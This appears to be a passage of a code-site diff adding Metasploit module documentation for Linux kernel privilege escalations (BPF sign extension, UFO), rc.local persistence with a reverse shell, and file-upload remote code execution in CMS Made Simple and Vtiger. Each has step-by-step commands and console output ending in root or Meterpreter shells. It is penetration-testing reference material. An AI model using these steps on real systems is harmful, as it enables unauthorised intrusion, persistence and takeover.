* Linux Mint 18.3 kernel 4.13.0-16-generic;
|
||||
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
|
||||
* Manjero 16.10 kernel 4.4.28-2-MANJARO;
|
||||
* Solus 3 kernel 4.12.7-11.current;
|
||||
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
|
||||
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
|
||||
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
|
||||
* Ubuntu 17.04 kernel 4.10.0-19-generic;
|
||||
* ZorinOS 12.1 kernel 4.8.0-39-generic.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to `/tmp`
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (ubuntu.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (ubuntu.rb)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (ubuntu.rb)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (ubuntu.rb)> exploit
|
||||
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Escalate
|
||||
|
||||
In this scenario, gcc is installed so we can live compile on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
|
||||
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003869aa00
|
||||
[*] uidptr = ffff8800354fb244
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vQIIRofN.c
|
||||
[+] Deleted /tmp/vQIIRofN
|
||||
[+] Deleted /tmp/iuRJiXBf
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
#### Escalate w/ pre-compiled binaries
|
||||
|
||||
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[-] gcc is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing vsQTwocG to /tmp/vsQTwocG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
|
||||
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003a8a3800
|
||||
[*] uidptr = ffff88003d276304
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vsQTwocG
|
||||
[+] Deleted /tmp/JDQDHtEG
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Debian 9.0 (x86_64)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
|
||||
compile => False
|
||||
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
|
||||
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
|
||||
[*] Launching exploit ...
|
||||
[*] Sending stage (861480 bytes) to 172.16.191.236
|
||||
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : debian-9-0-x64.local
|
||||
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,46 @@
|
|||
## rc.local Persistence
|
||||
|
||||
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
|
||||
|
||||
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
|
||||
|
||||
|
||||
### Verification
|
||||
|
||||
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
|
||||
2. `use exploit/linux/local/rc_local_persistence`
|
||||
3. `set SESSION <session>`
|
||||
4. `set PAYLOAD <payload>`
|
||||
5. `set LHOST <lhost>`
|
||||
6. `exploit`
|
||||
|
||||
|
||||
### Sample run
|
||||
|
||||
#### Escalate the session if needed
|
||||
|
||||
```
|
||||
msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo
|
||||
msf5 post(multi/manage/sudo) > set session 3
|
||||
session => 3
|
||||
msf5 post(multi/manage/sudo) > run
|
||||
|
||||
[*] SUDO: Attempting to upgrade to UID 0 via sudo
|
||||
[*] No password available, trying a passwordless sudo.
|
||||
[+] SUDO: Root shell secured.
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
#### Persist
|
||||
|
||||
```
|
||||
msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
|
||||
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
|
||||
LHOST => 192.168.0.41
|
||||
msf5 exploit(linux/local/rc_local_persistence) > run
|
||||
|
||||
[*] Reading /etc/rc.local
|
||||
[*] Patching /etc/rc.local
|
||||
```
|
|
@ -0,0 +1,136 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO).
|
||||
|
||||
The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large
|
||||
number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
|
||||
4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu
|
||||
such as Linux Mint.
|
||||
|
||||
### Disabling SMAP
|
||||
|
||||
[Original Instructions](https://github.com/rapid7/metasploit-framework/pull/9884#issuecomment-389607805)
|
||||
|
||||
To disable `SMAP` on a system, edit `/etc/default/grub` and add `nosmap` to the `GRUB_CMDLINE_LINUX_DEFAULT` line.
|
||||
Next, `sudo update-grub`, and reboot.
|
||||
|
||||
To verify SMAP has been disabled, `grep smap /proc/cpuinfo` and nothing should be returned.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a shell on a vulnerable box
|
||||
3. Do: ```use exploit/linux/local/ufo_privilege_escalation```
|
||||
4. Do: ```set session [#]```
|
||||
5. Do: ```run```
|
||||
6. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
|
||||
|
||||
## Compiled Executables
|
||||
|
||||
The module makes use of a pre-compiled exploit executable to be
|
||||
used when `gcc` is not available on the target host for live compiling,
|
||||
or `COMPILE` is set to `False`.
|
||||
|
||||
The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).
|
||||
|
||||
```bash
|
||||
./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop
|
||||
|
||||
#### Initial Access
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (ubuntu.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (ubuntu.rb)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (ubuntu.rb)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (ubuntu.rb)> exploit
|
||||
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) Linux ubuntu-desktop-14 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 1 opened (1.1.1.1:45819 -> 2.2.2.2:22) at 2018-04-03 20:58:32 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Escalate
|
||||
|
||||
In this scenario, gcc is installed so we can live compile on the system.
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation
|
||||
msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf5 exploit(linux/local/ufo_privilege_escalation) > exploit
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Linux kernel version 4.4.0-31-generic is vulnerable
|
||||
[*] Checking if SMAP is enabled ...
|
||||
[+] SMAP is not enabled
|
||||
[+] System architecture x86_64 is supported
|
||||
[+] Unprivileged user namespaces are permitted
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/.4UnI1EFL.c' (28356 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 28356 bytes in 2 chunks of 57414 bytes (octal-encoded), using printf
|
||||
[*] Next chunk is 43454 bytes
|
||||
[*] Writing '/tmp/.S6G2g9rnUj' (207 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf
|
||||
[*] Launching exploit ...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (857352 bytes) to 2.2.2.2
|
||||
[*] [.] starting
|
||||
[*] [.] checking kernel version
|
||||
[*] [.] kernel version '4.4.0-31-generic' detected
|
||||
[*] [~] done, version looks good
|
||||
[*] [.] checking SMEP and SMAP
|
||||
[*] [~] done, looks good
|
||||
[*] [.] setting up namespace sandbox
|
||||
[*] [~] done, namespace sandbox set up
|
||||
[*] [.] KASLR bypass enabled, getting kernel addr
|
||||
[*] [.] trying /proc/kallsyms...
|
||||
[*] [.] trying /boot/System.map-4.4.0-31-generic...
|
||||
[*] [-] open/read(/boot/System.map-4.4.0-31-generic)
|
||||
[*] [.] trying syslog...
|
||||
[*] [~] done, kernel addr: ffffffff81000000
|
||||
[*] [.] commit_creds: ffffffff8109d760
|
||||
[*] [.] prepare_kernel_cred: ffffffff8109da40
|
||||
[*] [.] SMEP bypass enabled, mmapping fake stack
|
||||
[*] [~] done, fake stack mmapped
|
||||
[*] [.] executing payload ffffffff8104516a
|
||||
[*] [~] done, should be root now
|
||||
[*] [.] checking if we got root
|
||||
[*] [+] got r00t ^_^
|
||||
[*] Cleaning up /tmp/.S6G2g9rnUj and /tmp/.4UnI1EFL ...
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:60474) at 2018-07-21 13:35:49 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 14.04 (Linux 4.4.0-31-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,69 @@
|
|||
## Description
|
||||
|
||||
CMS Made Simple allows an authenticated administrator to upload a file
|
||||
and rename it to have a `.php` extension. The file can then be executed
|
||||
by opening the URL of the file in the `/uploads/` directory.
|
||||
|
||||
This module has been successfully tested on CMS Made Simple versions
|
||||
2.2.5 and 2.2.7.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[CMS Made Simple v2.2.5](http://dev.cmsmadesimple.org/project/files/6)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use use exploit/multi/http/cmsms_upload_rename_rce`
|
||||
3. `set username <username>`
|
||||
4. `set password <password>`
|
||||
5. `set rhosts <rhost>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
|
||||
username => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
|
||||
password => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123
|
||||
rhosts => 172.22.222.123
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.194:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.123
|
||||
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.123:44352) at 2018-07-17 08:41:33 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu
|
||||
OS : Linux ubuntu 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
|
||||
username => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
|
||||
password => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175
|
||||
rhosts => 172.22.222.175
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.194:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.175
|
||||
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.175:49829) at 2018-07-17 08:46:27 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10
|
||||
OS : Windows NT WIN10 10.0 build 17134 (Windows 10) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,54 @@
|
|||
## Description
|
||||
|
||||
Vtiger v6.3.0 CRM's administration interface allows for the upload of a company logo.
|
||||
The logo upload allows unrestricted file upload and can be used to upload php code,
|
||||
which can then be executed by requesting the uploaded file location.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Vtiger v6.3.0](https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%206.3.0/Core%20Product/)
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**PHPSHORTTAG**
|
||||
Specify the use of php short tag, `<? `, for wrapping the payload.
|
||||
Default: true
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/multi/http/vtiger_logo_upload_exec`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `set password <password>`
|
||||
5. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VtigerCRM v6.3.0 tested on Windows 10 x64 (Apache 2.2.26 / PHP 5.3.10)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/vtiger_logo_upload_exec
|
||||
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rhosts 172.22.222.175
|
||||
rhosts => 172.22.222.175
|
||||
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rport 8899
|
||||
rport => 8899
|
||||
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set password admin
|
||||
password => admin
|
||||
msf5 exploit(multi/http/vtiger_logo_upload_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.121:4444
|
||||
[*] Uploading payload: KpXAXQNKjN.php
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.175
|
||||
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:50295) at 2018-07-30 11:53:50 -0500
|
||||
[+] Deleted KpXAXQNKjN.php
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : MSEDGEWIN10
|
||||
OS : Windows NT MSEDGEWIN10 6.2 build 9200 (Unknow Windows version Enterprise Edition) i586
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue